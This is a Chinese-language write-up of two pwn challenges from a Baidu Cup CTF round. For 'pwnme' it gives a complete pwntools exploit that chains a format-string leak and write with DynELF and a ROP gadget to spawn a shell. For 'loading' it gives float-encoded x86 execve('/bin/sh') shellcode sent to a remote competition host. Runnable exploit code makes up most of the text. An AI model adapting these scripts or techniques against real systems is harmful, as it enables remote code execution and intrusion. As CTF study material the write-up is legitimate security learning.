Baiudu杯 pwn专场记录

前言

十一月的第一周,百度杯的pwn专场,就去学习了下姿势,更加认识到自己的不足和问题所在,以后努力更正改进~
本次比赛一共是3个misc和三个pwn,题目都不难,pwn好像有两个都是原题,但是我只google到了第二个题目…

1.pwnme

格式化字符串(x64)

其实后面还有个bof,fmt和bof的结合可能才是出题人的本意吧(我猜的)。

1
2
3
4
5
6
7
8
$ checksec pwnme 
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/muhe/Desktop/baidu-pwn1/pwnme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
  • 格式化字符串

    在输出namepass的时候会导致这个格式化字符串,可以任意地址读写。

但是需要注意

  • x64中fmt 泄露的参数的顺序( RDI-RDX-RCX-R8-R9-stack[0]-stack[1]......)
  • 因为有00截断,所以要格式化的地址放后面( -。- 没错 后入式)

本来以为开了 Full RELRO 的情况下 DynELF就不行了,还想着手动去解析出libc基地址然后再搞呢…改了下方式就可以了。
在师傅的指导下完成了leak的部分,然后是使用DynELF去泄露system的地址,后面改返回地址为system,然后设置好参数后,ret过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*-coding:utf-8-*-
from pwn import *
# based on joker 's exploit
r = remote("106.75.84.74", 10001)#pwn
#r = remote("127.0.0.1", 10001)#pwn
#context.log_level = "debug"

read_got = 0x0000000000601FC8
pop_rdi_ret = 0x0000000000400ed3
pppr = 0x000000000400ECE
#ret addr 0x0000000000400e56

def leak(addr):
r.recvuntil(">")
r.sendline("2")
r.recvuntil("20):")
payload = "aaaa"
r.sendline(payload)
r.recvuntil("20):")
payload = "%12$s"+"AAAAAAA" + p64(addr)
r.send(payload)
r.recvuntil(">")
r.sendline("1")
content = r.recvuntil("AAAAAAA")
if(len(content) == 12):
print "[*] NULL "
return '\x00'
else:
print "[*]%#x -- > %s" % (addr,(content[5:-7] or '').encode('hex'))
return content[5:-7]

#writebyte
def writebyte(count_byte,addr):
r.recvuntil(">")
r.sendline("2")
r.recvuntil("20):")
payload = "aaaa"
r.sendline(payload)
r.recvuntil("20):")
payload = "%{0}c%12$hhn".format(count_byte)
payload += "A"*(12-len(payload)) + p64(addr)
r.send(payload)
r.recvuntil(">")
r.sendline("1")
r.recvuntil("\n")

r.recvuntil("40):")
r.sendline("aaa")
r.recvuntil("40):")
r.sendline("aaa")

d = DynELF(leak,elf=ELF('./pwnme'))
system_addr = d.lookup('system','libc')
print "[*] system addr:{0}".format(hex(system_addr))

#leak ret_addr
r.recvuntil(">")
r.sendline("2")
r.recvuntil("20):")
payload = "aaaa"
r.sendline(payload)
r.recvuntil("20):")
payload = "%6$s" #stack
r.send(payload)
r.recvuntil(">")
r.sendline("1")
r.recvuntil("\n")
content = r.recv(6)
content = content.ljust(8,"\x00")
stack_addr = u64(content) # 0x7ffc23fb85e0
stack_while_ret_addr = stack_addr + 8 - 0xb0 #
print "[*] stack_while_ret addr:{0}".format(hex(stack_while_ret_addr))
#leak_ret_addr

'''
0000| 0x7ffc23fb84f0 --> 0x7ffc23fb8530 --> 0x7ffc23fb85e0 --> 0x400e70 (push r15)
0008| 0x7ffc23fb84f8 --> 0x400d32 (add rsp,0x30)
0016| 0x7ffc23fb8500 --> 0xa61616161 ('aaaa\n')
0024| 0x7ffc23fb8508 --> 0x0
0032| 0x7ffc23fb8510 --> 0x7324362500000000 ('')
0040| 0x7ffc23fb8518 --> 0x0
0048| 0x7ffc23fb8520 --> 0x0
0056| 0x7ffc23fb8528 --> 0x400d0b (cmp eax,0x2)
'''
writebyte(0xce,stack_while_ret_addr)
writebyte(system_addr & 0xff,stack_while_ret_addr + 0x30)
writebyte((system_addr >> 8) & 0xff,stack_while_ret_addr + 0x30 + 1)
writebyte((system_addr >> 16) & 0xff,stack_while_ret_addr + 0x30 + 2)
writebyte((system_addr >> 24) & 0xff,stack_while_ret_addr + 0x30 + 3)
writebyte((system_addr >> 32) & 0xff,stack_while_ret_addr + 0x30 + 4)
writebyte((system_addr >> 40) & 0xff,stack_while_ret_addr + 0x30 + 5)

print r.recvuntil(">")
r.sendline("2")
print r.recvuntil("20):")
payload = "/bin/sh;" + "AAAAAAAABBB"
r.sendline(payload)
print r.recvuntil("20):")
payload = "\x00\x00\x00\x00" + p64(pop_rdi_ret) + p64(stack_while_ret_addr + 8)
#raw_input('$ret')
r.send(payload)
print r.recvuntil(">")
r.sendline('3')
r.interactive()

2.loading

简单粗暴把输入的每个字节 /2333.0 然后直接执行

浮点数的考察啊…google了下 float shellcode,就找到了原题啊…把别人exp里的1337.0改成2333.0就好了…
搜到了pctf 2016 fixedpoint writeup
还有这个 PlaidCTF 2016 fixedpoint

pctf 这个的源码,简直不要再一样好么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>

int main(int argc, char** argv) {
float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int i;
int temp;
float ftemp;

for (i = 0; i < 8192; i++) {
if (!scanf("%d", &temp)) break;
array[i] = ((float)temp)/1337.0;
}

write(1, "here we go\n", 11);
(*(void(*)())array)();
}

附上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import struct
import ctypes
from pwn import *

shellcode = ["\x31\xc9", # xor ecx, ecx
"\xf7\xe1", # mul ecx
"\x51", # push ecx
"\xb1\xff", # mov cl, 0xFF
"\xb5\xff", # mov ch, 0xFF
"\x41", # inc ecx
"\xb4\x68", # mov ah, 0x68
"\xb0\x73", # mov al, 0x73
"\xf7\xe1", # mul ecx
"\xb4\x2f", # mov ah, 0x2F
"\xb0\x2f", # mov al, 0x2F
"\x50", # push eax
"\xb4\x6e", # mov ah, 0x6e
"\xb0\x69", # mov al, 0x69
"\xf7\xe1", # mul ecx
"\xb4\x62", # mov ah, 0x62
"\xb0\x2f", # mov al, 0x2F
"\x50", # push eax
"\x31\xc0", # xor eax, eax
"\x31\xd2", # xor edx, edx
"\x31\xc9", # xor ecx, ecx
"\x89\xe3", # mov ebx, esp
"\xb0\x0b", # mov al, 11
"\xcd\x80"] # int 0x80

ints_to_send = []

for instr in shellcode:
z = "\x40"
if len(instr) == 1:
z = "\x90\x40"
payload = "\x48" + instr[::-1] + z
a = struct.unpack(">f", payload)[0]*2333
if a > 2147483647:
log.error("It's too large fam.")

b = str("{0:f}".format(a)).split(".")[0]

log.info(b + " " + payload.encode("hex"))
ints_to_send.append(b)

r = remote("106.75.84.68", 20000)
for i in ints_to_send:
r.sendline(i)

r.interactive()

感言

这个比赛让我感觉收获最大的应该是“思考”:要学会自己思考,不然做再多题目都没有用。